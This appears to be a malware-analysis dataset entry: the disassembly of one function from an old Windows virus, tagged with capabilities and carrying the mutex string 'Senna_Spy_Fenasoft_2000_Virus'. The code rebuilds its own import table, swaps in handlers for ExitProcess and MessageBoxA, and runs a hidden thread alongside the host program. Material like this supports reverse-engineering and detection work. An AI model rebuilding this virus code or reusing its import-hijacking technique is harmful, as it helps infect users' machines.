Function at 0x405000
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push esi
lea eax, [ebp - 0x12c]
xor esi, esi
push 0x104
push eax
push esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [eax + 0x3c]
mov dword [0x40d838], eax
add ecx, eax
mov dword [0x40d720], ecx
cmp dword [ecx], 0x4550
je 0x405052
push 1
pop eax
jmp 0x405379
mov edx, dword [0x40d544]
push ebx
push edi
mov edi, dword [0x40b030]
inc dword [0x40b030]
lea edx, [edx + edx*4]
cmp edi, 1
lea edx, [ecx + edx*8 + 0xf8]
mov dword [0x40d83c], edx
jne 0x40514b
movzx edi, word [ecx + 6]
and dword [ebp - 0xc], 0
mov esi, 0x405ca7
sub esi, eax
mov dword [0x40d548], edi
test edi, edi
jle 0x4052c4
add edx, 0xc
mov dword [ebp - 0x14], edx
mov dword [ebp - 8], edx
mov edx, dword [ebp - 8]
mov edx, dword [edx]
cmp edx, dword [ecx + 0x28]
ja 0x4050d4
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 4]
add ebx, edx
mov edx, dword [ecx + 0x28]
cmp ebx, edx
jbe 0x4050d4
mov ebx, dword [ebp - 0xc]
mov dword [0x40d54c], ebx
mov ebx, dword [ebp - 8]
sub edx, dword [ebx]
mov dword [0x40d56c], edx
jmp 0x405136
mov edx, dword [ebp - 8]
mov ebx, dword [ecx + 0x80]
mov dword [ebp - 0x10], ebx
mov edx, dword [edx]
cmp edx, ebx
ja 0x40510b
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 4]
add ebx, edx
mov edx, dword [ebp - 0x10]
cmp ebx, edx
jbe 0x40510b
mov ebx, dword [ebp - 0xc]
mov dword [0x40d550], ebx
mov ebx, dword [ebp - 0x14]
sub edx, dword [ebx]
mov dword [0x40d558], edx
jmp 0x405136
mov ebx, dword [ebp - 8]
mov edx, dword [ebx]
cmp edx, dword [ecx + 0xa0]
jne 0x405136
mov edx, dword [ebp - 0xc]
mov dword [0x40d554], edx
mov edx, dword [ebx - 4]
mov dword [0x40d564], edx
mov edx, dword [ecx + 0xa4]
mov dword [0x40d560], edx
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], edi
jl 0x4050a5
jmp 0x4052c4
mov ecx, dword [0x40d55c]
add eax, ecx
cmp dword [eax], 0
je 0x405164
add eax, 0x14
inc esi
cmp dword [eax], 0
jne 0x405158
mov dword [ebp - 0x20], esi
mov eax, esi
shl eax, 2
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x40d55c]
mov ecx, eax
mov eax, dword [0x40d838]
mov dword [ebp - 0x18], ecx
test esi, esi
lea ebx, [edx + eax]
mov dword [ebp - 0x14], ebx
jle 0x4052be
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], esi
mov ecx, dword [ebx + 0xc]
add ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
test eax, eax
mov dword [ecx], eax
jne 0x4051bc
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [ebx]
mov eax, dword [0x40d838]
mov esi, dword [ebx + 0x10]
add edi, eax
add esi, eax
mov ecx, dword [edi]
test ecx, ecx
je 0x4052ab
test ecx, 0x80000000
je 0x4051fb
mov eax, dword [ebp - 0xc]
and ecx, 0xffff
push ecx
push dword [eax]
call fcn.0040537e
pop ecx
mov dword [esi], eax
mov eax, dword [0x40d838]
pop ecx
jmp 0x4052a0
lea ecx, [ecx + eax + 2]
mov dword [ebp - 8], str.ExitProcess
mov dword [ebp - 0x1c], ecx
mov edx, ecx
mov cl, byte [edx]
mov ebx, dword [ebp - 8]
mov byte [ebp - 1], cl
cmp cl, byte [ebx]
jne 0x405234
test cl, cl
je 0x405230
mov cl, byte [edx + 1]
mov byte [ebp - 1], cl
cmp cl, byte [ebx + 1]
jne 0x405234
add dword [ebp - 8], 2
inc edx
inc edx
test cl, cl
jne 0x40520b
xor ecx, ecx
jmp 0x405239
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x405244
mov dword [ebp - 0x1c], str.ExitThread
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 8], str.MessageBoxA
mov dl, byte [ecx]
mov ebx, dword [ebp - 8]
mov byte [ebp - 1], dl
cmp dl, byte [ebx]
jne 0x405277
test dl, dl
je 0x405273
mov dl, byte [ecx + 1]
mov byte [ebp - 1], dl
cmp dl, byte [ebx + 1]
jne 0x405277
add dword [ebp - 8], 2
inc ecx
inc ecx
test dl, dl
jne 0x40524e
xor ecx, ecx
jmp 0x40527c
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x405288
mov dword [esi], 0x405c79
jmp 0x40529d
push dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
mov eax, dword [0x40d838]
mov ebx, dword [ebp - 0x14]
add edi, 4
add esi, 4
jmp 0x4051ca
add dword [ebp - 0xc], 4
add ebx, 0x14
dec dword [ebp - 0x10]
mov dword [ebp - 0x14], ebx
jne 0x405196
mov esi, dword [0x40d570]
add esi, eax
lea eax, [ebp - 0x28]
xor edi, edi
push eax
push edi
mov dword [0x40d570], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
push dword [0x40d570]
push edi
push edi
call esi
cmp eax, edi
mov dword [ebp - 0x10], eax
je 0x40534e
push str.Senna_Spy_Fenasoft_2000_Virus
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
cmp ebx, edi
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
je 0x405347
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x405347
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push 4
push eax
push 0x4053a0
push eax
push eax
call esi
mov esi, eax
push 0xfffffffffffffff1
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push esi
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0xffffffffffffffff
push dword [ebp - 0x10]
call edi
mov edi, dword [ebp - 0x20]
test edi, edi
jle 0x405366
mov esi, dword [ebp - 0x18]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
add esi, 4
dec edi
jne 0x405358
cmp dword [ebp - 0x18], 0
pop edi
pop ebx
je 0x405377
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop esi
leave
ret 0x10